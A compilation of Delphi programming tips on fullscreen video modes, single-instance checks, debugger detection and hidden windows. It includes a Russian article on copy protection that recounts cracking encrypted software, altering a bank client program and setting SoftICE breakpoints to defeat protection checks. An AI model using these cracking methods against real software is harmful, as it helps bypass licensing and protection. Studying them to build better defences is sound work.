immediately after {$R *.DFM}:
Nun muss noch eine Compiler Directive dem Sourcecode hinzugefugt werden.
Der Eintrag sollte unmittelbar nach der Form Directive {$R *.DFM} folgen,
so wie hier:*)
{$R WinXP.res}
{6)
Compile your application and run it!
Compiliere die Anwendung und starte sie!}
{7)
Test it if it runs correctly.
Note that some controls don''t adapt the new XP design such
as TGroupBox, TSpeedButton and some others.
If you use the TListView component with the view style of vsReport, have a look at this tip:
http://www.swissdelphicenter.ch/de/showcode.php?id=1117
Uberpruf nun, ob die Anwendung korrekt lauft. Einige Controls nehmen das neue XP Design
nicht an (TGroupBox, TSpeedButton und andere)
Bei der ListView mit vsReport Style muss dies beachtet werden:
http://www.swissdelphicenter.ch/de/showcode.php?id=1117
}
{
Paramstr(1) is the first parameter
Paramstr(0) is the full program path
Paramstr(1) ist der erste ubergebene Parameter
Paramstr(0) Pfad der Anwendung
}
procedure TForm1.FormShow(Sender: TObject);
var
parameter: string;
begin
parameter := ParamStr(1);
if parameter = '/message' then
begin
ShowMessage('Parameter /message.');
end;
if parameter = '' then
begin
ShowMessage('No parameter.');
end;
end;
Если вам понадобилось, чтобы ваше присутствие ощущалось, но окно вашего приложения не показывалось пользователю ;-] , тогда делайте так:
В частных объявлениях [раздел private] объявляем процедуру
private
{ Private declarations }
procedure WMQueryOpen(var Msg: TWMQueryOpen); message WM_QUERYOPEN;
А после слова implementation описываем её так:
procedure TForm1.WMQueryOpen(var Msg: TWMQueryOpen);
begin
Msg.Result := 0;
end;
Ещё нужно свойство формы WindowState установить в wsMinimized, дабы окно изначально появилось на панели задач.
Запуск приложения в полноэкранном режиме означает, что окно приложения полностью занимает рабочий стол. Это бывает
необходимо для обеспечения поддержки функции акселератора видеокарты, которая может ускорить работу только полной
области экрана, но не только, к примеру, если вам необходимо сделать только вашу программу видимой для пользователя.
Кстати: Полноэкранный запуск в общих чертах имеет отношение не только к OpenGL, DirectX и 3D. Строго говоря
полноэкранный режим требует только установки флага состояния окна wsMaximize, и все.
Но есть другой вопрос, подразумеваемый требованиями для полноэкранных приложений. Это наличие возможности выбора
пользователем специфического разрешения экрана и глубины цвета или возможность запуска приложения в фиксированном
разрешении. Последнее важно в каждом конкретном случае, поскольку не все видеокарты поддерживают все разрешения и
часто игра или другое 3D-приложение хотят работать в другом разрешении (в основном на более низком),
чем пользователь использует в каждодневной работе.
Так что полностью вопрос читается так: как запустить полноэкранное приложение в специфичном разрешении экрана и
глубине цвета (без перезагрузки)? Ключевым пунктом является функция ChangeDisplaySettings. В зависимости от
видеодрайвера, вы можете динамически установить один из множества режимов, не перегружая компьютер:
function SetFullscreenMode(ModeIndex: Integer): Boolean;
// изменение видеорежима, задаваемого 'ModeIndex'
var
DeviceMode: TDevMode;
begin
with DeviceMode do
begin
dmSize := SizeOf(DeviceMode);
dmBitsPerPel := VideoModes[ModeIndex].ColorDepth;
dmPelsWidth := VideoModes[ModeIndex].Width;
dmPelsHeight := VideoModes[ModeIndex].Height;
dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
// при неудачной смене режима переходим в режим текущего разрешения
Result := ChangeDisplaySettings(DeviceMode, CDS_FULLSCREEN) =
DISP_CHANGE_SUCCESSFUL;
if Result then
ScreenModeChanged := True;
if ModeIndex = 0 then
ScreenModeChanged := False;
end;
end;
Если вы обратили внимание, в этом примере присутствует глобальная переменная VideoModes. Ее наличие обусловлено
необходимостью перечисления всех доступных режимов, которые могут быть установлены динамически и загружены в
структуру, подобную VideoModes для гарантии использования только описанных режимов:
const MaxVideoModes = 200; // это не очень актуально
type TVideoMode = record
Width,
Height,
ColorDepth : Word;
Description : String[20];
end;
var VideoModes : array[0..MaxVideoModes] of TVideoMode;
NumberVideomodes : Integer = 1; // 1, поскольку есть режим по умолчанию
Как вы видите, это делает наш пример более функциональным для использования. При необходимомости, вы можете заменить в
вышеуказанной функции VideoModes на фиксированные значения (скажем, на 640, 480, 16). Перечисление всех видеорежимов
осуществляется при помощи EnumDisplaySettings:
procedure ReadVideoModes;
var
I, ModeNumber: Integer;
done: Boolean;
DeviceMode: TDevMode;
DeskDC: HDC;
begin
// создание режима "по умолчанию"
with VideoModes[0] do
try
DeskDC := GetDC(0);
ColorDepth := GetDeviceCaps(DeskDC, BITSPIXEL);
Width := Screen.Width;
Height := Screen.Height;
Description := 'default';
finally
ReleaseDC(0, DeskDC);
end;
// перечисляем все доступные видеорежимы
ModeNumber := 0;
done := False;
repeat
done := not EnumDisplaySettings(nil, ModeNumber, DeviceMode);
TryToAddToList(DeviceMode);
Inc(ModeNumber);
until (done or (NumberVideomodes >= MaxVideoModes));
// режимы низкого разрешения не всегда перечислимы, о них запрашивают явно
with DeviceMode do
begin
dmBitsPerPel := 8;
dmPelsWidth := 42;
dmPelsHeight := 37;
dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
// тест видеодрайвера: убедимся, что он справится со всеми видеорежимами
if ChangeDisplaySettings(DeviceMode, CDS_TEST or CDS_FULLSCREEN) <>
DISP_CHANGE_SUCCESSFUL then
begin
I := 0;
while (I < NumberLowResModes - 1) and (NumberVideoModes < MaxVideoModes)
do
begin
dmSize := Sizeof(DeviceMode);
dmBitsPerPel := LowResModes[I].ColorDepth;
dmPelsWidth := LowResModes[I].Width;
dmPelsHeight := LowResModes[I].Height;
dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
TryToAddToList(DeviceMode);
Inc(I);
end;
end;
end;
end;
Я думаю эта функция не тяжела для понимания. Есть две части, которые нужно рассмотреть. Сначала - стандартный путь
перечисления видеорежимов. Потом проверям, что все режимы низкого разрешения также протестированы. Это все-таки потребует
список режимов низкого разрешения:
type TLowResMode = record
Width,
Height,
ColorDepth : Word;
end;
const NumberLowResModes = 60;
LowResModes : array[0..NumberLowResModes-1] of TLowResMode =
((Width:320;Height:200;ColorDepth: 8),(Width:320;Height:200;ColorDepth:15),
(Width:320;Height:200;ColorDepth:16),(Width:320;Height:200;ColorDepth:24),
(Width:320;Height:200;ColorDepth:32),(Width:320;Height:240;ColorDepth: 8),
(Width:320;Height:240;ColorDepth:15),(Width:320;Height:240;ColorDepth:16),
(Width:320;Height:240;ColorDepth:24),(Width:320;Height:240;ColorDepth:32),
(Width:320;Height:350;ColorDepth: 8),(Width:320;Height:350;ColorDepth:15),
(Width:320;Height:350;ColorDepth:16),(Width:320;Height:350;ColorDepth:24),
(Width:320;Height:350;ColorDepth:32),(Width:320;Height:400;ColorDepth: 8),
(Width:320;Height:400;ColorDepth:15),(Width:320;Height:400;ColorDepth:16),
(Width:320;Height:400;ColorDepth:24),(Width:320;Height:400;ColorDepth:32),
(Width:320;Height:480;ColorDepth: 8),(Width:320;Height:480;ColorDepth:15),
(Width:320;Height:480;ColorDepth:16),(Width:320;Height:480;ColorDepth:24),
(Width:320;Height:480;ColorDepth:32),(Width:360;Height:200;ColorDepth: 8),
(Width:360;Height:200;ColorDepth:15),(Width:360;Height:200;ColorDepth:16),
(Width:360;Height:200;ColorDepth:24),(Width:360;Height:200;ColorDepth:32),
(Width:360;Height:240;ColorDepth: 8),(Width:360;Height:240;ColorDepth:15),
(Width:360;Height:240;ColorDepth:16),(Width:360;Height:240;ColorDepth:24),
(Width:360;Height:240;ColorDepth:32),(Width:360;Height:350;ColorDepth: 8),
(Width:360;Height:350;ColorDepth:15),(Width:360;Height:350;ColorDepth:16),
(Width:360;Height:350;ColorDepth:24),(Width:360;Height:350;ColorDepth:32),
(Width:360;Height:400;ColorDepth: 8),(Width:360;Height:400;ColorDepth:15),
(Width:360;Height:400;ColorDepth:16),(Width:360;Height:400;ColorDepth:24),
(Width:360;Height:400;ColorDepth:32),(Width:360;Height:480;ColorDepth: 8),
(Width:360;Height:480;ColorDepth:15),(Width:360;Height:480;ColorDepth:16),
(Width:360;Height:480;ColorDepth:24),(Width:360;Height:480;ColorDepth:32),
(Width:400;Height:300;ColorDepth: 8),(Width:400;Height:300;ColorDepth:15),
(Width:400;Height:300;ColorDepth:16),(Width:400;Height:300;ColorDepth:24),
(Width:400;Height:300;ColorDepth:32),(Width:512;Height:384;ColorDepth: 8),
(Width:512;Height:384;ColorDepth:15),(Width:512;Height:384;ColorDepth:16),
(Width:512;Height:384;ColorDepth:24),(Width:512;Height:384;ColorDepth:32));
И остается функция TryToAddToList:
procedure TryToAddToList(DeviceMode: TDevMode);
// Добавление видеорежима к списку, это это не дубликат
// и режим действительно может быть установлен.
var
I: Integer;
begin
// Смотрим на предмет дублирования видеорежима (такое может быть из-за показателя
// частоты смены кадров или из-за того, что мы явно пробуем все режимы низкого разрешения)
for I := 1 to NumberVideomodes - 1 do
with DeviceMode do
if ((dmBitsPerPel = VideoModes[I].ColorDepth) and
(dmPelsWidth = VideoModes[I].Width) and
(dmPelsHeight = VideoModes[I].Height)) then
Exit; // повтор видеорежима (дубликат)
// устанавливаем тестируемый режим (на самом деле мы не устанавливаем данный режим,
// а хотим получить сообщение о его поддержке видеокартой).
if ChangeDisplaySettings(DeviceMode, CDS_TEST or CDS_FULLSCREEN) <>
DISP_CHANGE_SUCCESSFUL then
Exit;
// если это новый, поддерживаемый режим, то добавляем его к списку
with DeviceMode do
begin
VideoModes[NumberVideomodes].ColorDepth := dmBitsPerPel;
VideoModes[NumberVideomodes].Width := dmPelsWidth;
VideoModes[NumberVideomodes].Height := dmPelsHeight;
VideoModes[NumberVideomodes].Description := Format('%d x %d, %d bpp',
[dmPelsWidth, dmPelsHeight, dmBitsPerPel]);
end;
Inc(NumberVideomodes);
end;
Для завершения реализации вашего проекта необходима функция, восстанавливающий видеорежим по умолчанию при завершении
работы вашего приложения:
procedure RestoreDefaultMode;
// восстанавливаем видеорежим по умолчанию
var T : TDevMode absolute 0; // маленькая хитрость: создаем указатель на ноль
begin
// Так как первый параметр является переменной, мы не можем использовать ноль
// непосредственно. Взамен мы используем переменную с абсолютным адресом нуля.
ChangeDisplaySettings(T,CDS_FULLSCREEN);
end;
Объект Delphi Application создает скрытое "application window" (окно приложения), и именно ему, а не главному окну
приложения посылается команда "показать минимизированным". Чтобы обойти эту проблему, поместите следующую строчку в
обработчик события OnCreate вашей главной формы:
ShowWindow(Handle, cmdShow);
---------------------------------------
// Проверьте глобальную переменную CmdShow для того чтобы определить, в каком
// состоянии запускается приложение, и модифицируйте ее как вам необходимо:
procedure TForm1.FormCreate(Sender: TObject);
begin
if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized;
end;
// Hапример, если необходимо запускать приложение либо минимизированным, либо
// максимизированным, используйте следующий код:
procedure TForm1.FormCreate(Sender: TObject);
begin
if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized
else WindowState := wsMaximized;
end;
Предисловие
Я решил написать небольшую серию статей (2,3 статьи) на тему "Написание защиты от копирования". Если быть честным,
то это будет, скорее всего, дележка опытом на тему "Как написать программу, которую будет дешевле купить, чем сломать".
Сразу скажу, что я не собираюсь делиться исходными текстами, но не потому, что я жадный. Просто то, о чем я буду
говорить – это описание предметной области той задачи, которую я сформулировал выше. Видя дальнейшие споры на это
тему, скажу, что это всего лишь мое мнение, т.е. мое видение этой области и буду рад узнать другие мнения. Учится,
всегда пригодится!
Почему я решил поведать свое мнение? В различных конференциях и журналах можно легко найти мнения либо программеров,
либо взломщиков-кракеров о той или иной защите. Я не кракер, но имею кое-какой опыт в этом деле, как, в общем-то, и в
защите от ломки. Возможно, это выглядит неправдоподобно – "Ломает, но не кракер". Тогда уточню, я не профессиональный
кракер. А по моему опыту могу сказать, что людей, профессионально совмещающих, и ломку, и написание чего-нибудь стоящего,
я не встречал (хотя возможно такие люди есть). И в той и в другой области есть инструментарий и определенные наработки.
Но надо держать руку на пульсе, чтобы быть достаточно квалифицированным для работы. Новые инструменты, статьи, примеры
программ, алгоритмов, новые шифры и дыры к ним – все это лучше иметь свеженьким. А на это уходит время, очень много времени!
Но, я что-то отвлекся. Итак, что же я предлагаю. Если Вы хоть раз в своей жизни, по честному, с нуля, ломанули
какую-нибудь прогу. Если для Вас слова IDA, HIEW, SOFTICE непросто термины, которые Вам известны. Если Вы профессионально
занимаетесь ломкой. Если да - не теряйте времени, не читайте мою статью. Здесь для Вас не будет ничего нового.
Для остальных, а я думаю такие найдутся, я поведаю о возможностях современных средств взлома, т.е. о возможностях
Ваших потенциальных противников. Я буду очень стараться, чтобы это было просто и интересно. Начнем???
Начало
Дыра – это просто ничто,
Но вы можете в ней сломать шею.
О.О'Мелли
"Давным-давно, когда в мире не было еще интегральных схем. Когда мыши еще бегали по полу и жили в норах. Когда люди
знакомились по телефону или на улице и называли себя настоящими именами. В те стародавние времена жили тараканы. Так вот,
именно в те времена группа тараканов во главе с … черт, имя забыл! Так вот, они вознамерились помешать прогрессу
человеческой мысли. Прослышали они, что люди построили БОЛЬШИЕ счеты и что питаются эти счеты исключительно тараканами.
то стало с этими доблестными тараканами - история умалчивает. Но доподлинно известно, что некоторые из них, проникнув в
первые машинные залы, попадали под беспощадные электромеханические реле. Англичане почему-то называли тараканов BUGS.
Только не зря гибли доблестные таракашки. Смертью своей они не позволяли электричеству бежать дальше. Так тараканы победили
электричество. И с тех пор их называют БАГАМИ, а процесс их обнаружения ДЕБАГИРОВАНИЕ или отладка.
Уже потом баги стали мельчать и очень хорошо прятаться. Потребовалось создание нескольких поколений процессоров, чтобы
научится ловить баги. Ходят слухи, что некоторые самые мелкие баги прокрались в процессоры и порождают более крупные баги.
Как баги размножаются науке не известно. Но зато известно, как их поймать." (Записано со слов Chlora, он же Guga)
Итак, проведем небольшой обзор самых распространенных средств отладки. Потому как именно эти средства в первую очередь
используются кракерами для анализа защиты.
Первое средство – декомпилятор. Процесс перевода из двоичного вида в символьный, на языке команд какого-нибудь языка.
Например, дизассемблеры, деклиппер, obj2asm и многие другие. Эти вещи появились раньше отладчиков, т.к. в начале не было
архитектуры со встроенными средствами отлаживания программ. И тем ни менее эти средства дошли и до наших дней.
В чем их неудобство:
1. Неверное определение размеров данных. Ну, например, если в программе есть цикл с использованием оператора
MOV AL, BYTE PTR DS:[BX]. Тогда дизассемблер поймет, что туда, куда обращается оператор можно представить как единый блок,
например строка STR DB '0123'. Если же Вы обращаетесь туда черте как, как это делают языки высокого уровня, то вы
получите вот что:
Byte1 db 30h ;'0'
Byte2 db 31h ;'1'
Byte3 db 32h ;'2'
Byte4 db 33h ;'3'
2. Как это может навредить? Например, вы дизассемблировали программу закрытую HASP ключом. Чтобы ее взломать,
вам нужно найти точку входа в HASP API. Она находится сразу за строкой HASPDOSDRV. Черта лысого вы найдете ее после
дизассемблирования!
3. Отсутствие динамики. Статичный анализ. Т.е. если данные в программе зашифрованы, то декомпилятор их не расшифрует!
Огромное количество незначимых для Вас команд! Невозможность посмотреть регистры, стек и память! Ну и т.д.
В чем преимущество:
1. Возможность изменения исходного кода программы.
2. Невозможность обнаружения.
Что я здесь имел ввиду. Редко, но бывает необходимым внесения крупных изменений в код программы. Прямая вставка двоичных
кодов не помогает, т.к. нарушается расположения меток перехода и процедур. Понимаете? Программа – это линейка кода, по
которой нам надо ходить нелинейно, прыгать с определенным смещением. Если линейка удлиняется из-за добавления чего-то в
середине, все наши смещения будут показывать не туда куда надо. Повторная перекомпиляция вписывает новые смещения для
джампов и колов. ЭТО ОЧЕНЬ РЕДКИЙ СЛУЧАЙ, но такое в моей практике было.
Однажды мне пришлось ломать клипперную программу. Для тех, кто не в курсе, скажу, что это самоинтерпретатор. Т.е. все
команды языка переводятся в псевдокод, и к каждой из них сверху линкуется инициализация параметров в стеке и вызов
процедурки __plankton. Даже IF и вся булевская часть языка реализована таким образом. Попробуй, поменяй условие для
IF или FOR! На уровне ассемблера – это очень трудно делать. А, взяв деклиппер, любой дурак сможет. Вот я и смог. ;))
Что касается "невозможности обнаружения". Здесь я не имел ввиду то, что защититься от декомпиляции невозможно, нет.
Очень даже запросто! Но некоторые старые отладчики могли залететь на очень простом фокусе. Раньше, в ДОСе, сегменты
были ограничены длинной 65535, а точнее стековый указатель SP не может скакать через 0 или 0FFFFH. Поэтому если вы в
программе сделаете SP=0 – то многие отладчики повиснут. Это было тогда! Кончено, если вы будете использовать старые
отладчики сейчас, то это произойдет и сейчас. Почему это происходило? Ответ прост – прерывания. Отладчику нужен стек,
чтобы вызвался обработчик одного из отладочных прерываний. Если стека нет, то … Я помню свою детскую защитку.
Я прописывал в заголовок ЕХЕ файла значение SP равным 0, а в начале программы ставил защиту от дизассемблирования,
после чего вкатывал нужное SP. Блочок занимал несколько байт и элементарно обходился. Но как я сладостно потирал руки,
когда зависали отладчики при загрузке программы, а SOURCER выдавал чепуху.
Но разработчики дизассемблеров давно учли сложности использования своих программ. И появились такие программы, как
Хакер-VIEW (HIEW) и IDA (Интерактивный Дизассемблер). В чем их прелесть?
HACKERVIEW выпускается как внешний просмотрщик для Нортона. Вы можете просмотреть любой исполняемый файл по любому
смещению. Более того, вы можете "выполнить" какую-то часть программы или собственную программу, написанную естественно
на ассемблере. Это позволяет расшифровывать программы и обходить защиту от дизассемблирования. Он понимает, как старые
форматы исполняемых файлов DOS-COM и DOS-EXE, так и форматы исполняемых файлов Windows и OS/2.
IDA очень мощное средство работы с ассемблерными текстами программ. Обладает такими же возможностями, как и HACKERVIEW,
но имеет более удобный интерфейс. Также очень хорошо предусмотрена архитектура работы программ в Windows. Т.е. такие
вещи, как DLL, расширенный режим работы с памятью и т.д. В своей практике я ни разу не использовал IDA для ломки, но
для анализа вирусов приходилось. Очень хорошее средство.
Вывод:
интерактивные декомпиляторы программ занимают свою нишу в инструментарии кракера. В основном это совместное
использование с отладчиками, где основную работу делают отладчики. Дело в том, что программирование, благодаря
Windows, в основном стало событийным, а не линейным как это было в ДОСе. Поэтому иногда проще в отладчике поставить
брейк-точку на нужное нам событие, анализируем, что за гадости готовит нам программа. И уже после, если того требует
необходимость, лезем HEIW в нужную часть программы. Но многие задачи не требуют такого совместного использования.
Хотя все, конечно, в первую очередь решает привычка, стиль атаки, которую использует обычно кракер. Мне, например,
чаще нравится повозится SOFTICE-ом в проге, и лишь при крайней нужде я запускаю Hiew. Поэтому давайте перейдем к
самому интересному.
Второе средство: это отладчики. Трудно сказать, что было первым отладчиком или дебаггером. Но для меня все началось с
TurboDebugger`a фирмы Borland. Пакет отладочных инструментов этой фирмы поставлялся с такими продуктами, как
TurboAssembler, TurboPascal, TurboC, Borland C/C++.
Началось все с того, что нужно было поменять экранные формы одной широко используемой программы. Дело в том, что там
стояла проверка контрольной суммы содержимого экрана, и если там находилось что-то не то!!! Это была система "Клиент-банк",
написанная местными умельцами. Естественно, тогда не у всех банков были такие умельцы. Ну, вот и решили в другом банке,
скопировать программу и поменять экранные формы, чтобы клиенты знали с каким банком они работают!
Весь процесс ломки не занял много времени. Я тогда был глуп и неопытен. А посему стоял за спиной и выдавал новые идеи
на гора. Это был мой первый опыт работы с TurboDebugger`ом, опыт "из-за спины". После чего мне пришлось пережить два
своих проекта, в которых было много ассемблера. Тогда я и получил богатый опыт отладки с использованием TurboDebuggera.
Многие из понимающих людей будут смеяться, но первую программу я взломал при помощи TurboDebuggera! Было это сделано
по просьбе военных, когда я был на сборах. Уж не знаю, зачем им это надо было. Поручение было следующего плана.
В штабе стоял комп, чудо ворождебной техники Intel386 c 4-мя метрами памяти. После институтских двоек, просто песня.
Так вот, там был приклеен через интерфейсную плату летный тренажер. Господа офицеры, конечно, больше любили F-19.
Но вот, в тренажере были обязаны заниматься.
Тренажер был написан одним столичным ВУЗом и, защита была поставлена с умом. Все исполняемые файлы за редким исключением
были зашифрованы. Но, что самое главное расшифровка была повешена на отладочные прерывания INT 1 и INT 3.
Это был мой первый опыт "борьбы против потных рук", поэтому действовал я немножечко коряво.
Загрузив прогу в TurboDebugger, я проигнорировал переопределение векторов, и передал управление по адресу
"обработчика INT 3". Потом я проанализировал, чего там ждет "обработчик INT 1". Так выделился расшифровщик. Система
была проста, как коврик мыши. Все исполняемые модули, вызываемые из главной программы, были зашифрованы простой
операцией XOR от ключа длинной 512 байт записанного в определенном секторе винта. Т.е. 1-ый байт ключа ксорился с
1-ым байтом блока, 2-ой со 2-ым и т.д. Я не стал заниматься изысками, вычисляющими ключ. Я написал прогу, которая
читает ключ в файл или, если скажут, из файла в сектор на диске. Т.к. военные не умели пользоваться DISKEDITORом,
именно поэтому я написал прогу в обе стороны, которую они повезли в ближайшую военную часть, где стоял такой же
тренажер, но только винт не форматировали в отличии от моих клиентов.
Я привел этот пример для того, чтобы показать, что, во-первых, защита от дебагирования не самоцель и ей не стоит
уделять ей много времени благо все возможные люки уже известны и кракерам и программерам. Во-вторых, шифрование
прог не панацея от кракеров. Любой кракер, если получает заказ на взлом, имеет доступ до нормальной копии программы.
То есть он ее либо может купить, либо попользовать ее на компе покупателя. Но об этом чуть позднее.
Теперь вернемся к нашим отладчикам. В отладочный пакет фирмы Borland входили 4 отладчика. TD, TD286 и TD386, а
также гордость фирмы – отладчик с удаленной машины по COM-порту. Для истории хотел бы упомянуть о TD386. Этот
отладчик в отличие от других мог использовать встроенные в процессор возможности по отладке. Т.е. в CONFIG.SYS
прописывался драйвер, который переводил процессор в расширенный режим работы, а ДОС пускался в виртуальной машине.
Поэтому после него нельзя было пустить что-то, делающие нечто схожее. После чего в самом отладчике можно было
установить аппаратное прерывание на какие-то действия программы. Ну, там чтение из памяти, чтение из порта и т.д.
Но сделано это было коряво.
Поэтому я с удовольствием для себя открыл SOFTICE, WINICE (просто айс). Этот отладчик до сих пор является лучшим из
лучших, и его возможности позволяют крошить в щепы многие защиты. Если вы когда-нибудь видели ДОС-ский AFD. Вам будет
легко представить интерфейс этой программы. Несколько невзрачных окон и командный режим работы. Т.е. при переходе из
TurboDebuggera и иже с ним, хочется бросить это "чудо". Но разработчики этой программы пошли в нужную сторону. Если
вы вспомните большинство отладчиков, то там все их возможности "повешены" на какие-нибудь клавиши или пункты меню. Но
на самом деле этого мало!!! В айсе очень много возможностей, клавишей не хватит, и все они реализованы в "макроязык".
Ну, например, серия команд установки точек-останова (брейков). (Попробую на память) BPX – брейк на выполнение, BPM –
на обращение к памяти, BMSG – на сообщение Windows, BPIO – на обращение к ВУ, BPR – на обращение к участку памяти,
BPRW – на обращение к модулю, BPINT – на прерывание. Плюс еще условия на каждую из команд.
Например, мне надо поставить брейк на щелчек левой кнопкой мыши на кнопке в окне. Даем команду TASK, выбираем нужную
задачу. Даем команду hwnd <имя задачи>, выбираем нужный handle. Поверьте это не сложно, т.к. кнопка – это ресурс и
данные о нем и ее имя известно Windows, а значит и айсу. Так вот, выбираете handle кнопки, а т.к. любой видимый
компонент в Windows – это окно, то даем команду bmsg <хендл>. Ой, а как же нажатие мышки. В винде так много сообщений,
что не все упомнишь. Не беда, набираем wmsg wm_mouse* и видим, что wm_mousefirst=200H. В принципе, если вы помните
символьное имя нужного вам события, можете сразу его использовать. Итак, bmsg <хендл> wm_mousefirst. Как мы знаем в
виндах параметры сообщений запихиваются в регистры и еще кой-куда. Так вот, если вам нужно можете к любой команде
дописать if <регистр>=<выражение> ( bpio 21 r if al=1 – прерваться если с 21-го порта прочитана 1-ка). Для извращенных
способов ломки, когда чтений из LPT-порта море, можно после if-а добавить DO и одну из BPCOUNT, BPMISS, BPTOTAL – это
все запишется в журнал. После чего – сиди читай. Да, еще забыл. При указывании в условии IF можно указать операцию над
регистром. Например, чудесная команда BPX. Набрав bpx GetWindowText, вы можете смело запущать дальше программу.
Она прервется, когда вызовется функция виндов GetWindowText. Например, вам нужно поставить брейк на какую-нибудь
другую функцию, но с проверкой параметра. Набираем, bpx OtherFuncName if @(esp+смещение_параметра)=<значение>.
Это в старых айсах, в других bpx OtherFuncName if esp->смещение_параметра=<значение>. Вот такой наворот!
Кажется хватит. Нет, стоп, совсем забыл. Айс запускается на уровне ядра, т.е. им можно заходить и отлаживать VXD,
DRV. Но не это главное. Такие старинные штуки, как перекрытие векторов INT1 и INT 3 теперь не проходит. Конечно, и
у айса есть люки, как его можно обнаружить, но их очень легко увидеть и не допустить использование таких штучек для
обнаружения отладки. Айс на самом деле очень удобный интерфейс отладки. Я описал только возможности установки брейков
и не затронул остальных возможностей айса, т.к. именно брейки нас сейчас интересуют.
Вывод:
С появлением Windows отладка программ стала на порядок проще. И намного удобнее дизассемблирования. Принципиально
изменился стиль некоторых атак на защиту программ. Теперь не надо шаг за шагом смотреть на ассемблерные леса,
продираться сквозь дебри незначащих кодов и защит. Теперь надо отловить нужное событие и понять как на него реагирует
программа. Но это не всегда бывает так просто, как выглядит сейчас на словах. Как и ранее, отладка требует знание
архитектуры операционки. Чем лучше вы знаете внутренности виндов, тем проще для вас будет взломать программу.
Такой отладчик как SOFTICE сильно упрощает подход к анализу программ, он не требует таких навыков, как дизассемблеры.
Хотя это спорный вопрос.
Неважно насколько сложным был бы механизм защиты, но все сводится к простейшей проверке или дешифровке. И взлом, в
случае с проверкой, можно разбить на два этапа. Первый: это постановка брейков на "подозрительные" флаги, обнаруженные
в процедуре "защиты". Второй: анализ обращений к "флагам". По реакции программы можно судить "флаг" это или просто
переменная. Но об этом позже.
Продолжение следует.
Обычно господа взломщики, для того, чтобы взломать защиту приложения, запускают его в режиме отладки и анализируют
машинный код для определения точки перехвата ввода пароля с клавиатуры.
Обычно таким способом ломаются игрушки :)
Конечно данный способ не сможет полностью защитить Ваш программный продукт от взлома, но прекратить выполнение
секретного кода - запросто. Для этого мы будем использовать API функцию IsDebuggerPresent. Единственный недостаток
этой функции, заключается в том, что она не работет под Windows 95.
Теперь посмотрим как эту функцию реализовать в Delphi:
function DebuggerPresent: boolean;
type
TDebugProc = function: boolean; stdcall;
var
Kernel32: HMODULE;
DebugProc: TDebugProc;
begin
Result := False;
Kernel32 := GetModuleHandle('kernel32.dll');
if Kernel32 <> 0 then
begin
@DebugProc := GetProcAddress(Kernel32, 'IsDebuggerPresent');
if Assigned(DebugProc) then
Result := DebugProc;
end;
end;
А это окончательный пример вызова нашей функции:
if DebuggerPresent then
ShowMessage('debugging')
else
ShowMessage('NOT debugging');
Каждый экземпляр программы имеет ссылку на свою предыдущую копию - hPrevInst: hWnd. Ее можно проверить перед
созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия,
то эта ссылка равна нулю. Только для Delphi 1. Пример использования hPrevInst:
procedure TForm1.FormCreate(Sender: TObject);
begin
// Проверяем есть ли указатель на предыдущую копию приложения
if hPrevInst <> 0 then begin
// Если есть, то выдаем сообщение и выходим
MessageDlg('Программа уже запущена!', mtError, [mbOk], 0);
Application.Terminate;
end;
// Иначе - ничего не делаем (не мешаем созданию формы)
end;
Другой способ - по списку загруженных приложений
procedure TForm1.FormCreate(Sender: TObject);
var
Wnd : hWnd;
buff : array[0.. 127] of Char;
begin
//Получили указатель на первое окно
Wnd := GetWindow(Handle, gw_HWndFirst);
// Поиск
while Wnd <> 0 do begin
// Это окно предыдущей копии ?
if (Wnd <> Application.Handle) and (GetWindow(Wnd, gw_Owner) = 0) then
begin
GetWindowText (Wnd, buff, sizeof (buff ));
if StrPas (buff) = Application.Title then
begin
MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0);
Halt;
end;
end;
Wnd := GetWindow (Wnd, gw_hWndNext);
end;
end;
Данный пример не всегда применим - часто заголовок приложения меняется при каждом старте, поэтому рассмотрим более
надежный способ - через FileMapping
Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати,
этот метод можно использовать и для обмена информацией между вашими приложениями. Пример с использованием FileMapping:
program Project1;
uses
Windows, // Обязательно
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
const
MemFileSize = 1024;
MemFileName = 'one_inst_demo_memfile';
var
MemHnd : HWND;
begin
// Попытаемся создать файл в памяти
MemHnd := CreateFileMapping(HWND($FFFFFFFF),
nil, PAGE_READWRITE, 0, MemFileSize, MemFileName);
// Если файл не существовал запускаем приложение
if GetLastError<>ERROR_ALREADY_EXISTS then
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
CloseHandle(MemHnd);
end.
Часто при работе у пользователя может быть открыто 5-20 окон и сообщение о том, что программа уже запущено приводит к
тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения - найдя копию программы активировать
ее, для чего в последнем примере перед HALT необходимо добавить строку : SetForegroundWindow(Wnd);
Пример:
program Project0;
uses
Windows, // !!!
Forms,
Unit0 in 'Unit0.pas' {Form1};
var
Handle1 : LongInt;
Handle2 : LongInt;
{$R *.RES}
begin
Application.Initialize;
Handle1 := FindWindow('TForm1',nil);
if handle1 = 0 then
begin
Application.CreateForm(TForm1, Form1);
Application.Run;
end
else
begin
Handle2 := GetWindow(Handle1,GW_OWNER);
//Чтоб заметили :)
ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE);
SetForegroundWindow(Handle1); // Активизируем
end;
end.
Блокировка запуска второй копии при помощи Mutex На мой взгляд, это один из самых простых и надежных способов.
procedure TForm1.FormCreate(Sender: TObject);
var
hMutex : THandle;
begin
hMutex := CreateMutex(0, true , 'My application name');
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(hMutex);
Application.Terminate;
end;
end;
В данном примере при старте приложения создается мьютекс с некоторым уникальным именем (у каждого приложения оно
должно бять свое !!). Если хоть одна копия приложения запущена, то в системе уже будет мьютекс с таким именем и
возникнет ошибка ERROR_ALREADY_EXISTS. В противном случае мьютекс создается и существует, пока работает данная
копия приложения Задать вопрос
procedure WMQueryEndSession(var message: TWMQueryEndSession);
message WM_QUERYENDSESSION;
...
procedure TMainFrm.WMQueryEndSession(var message: TWMQueryEndSession);
begin
message.Result := 1;
gEndSession := True;
end;
...
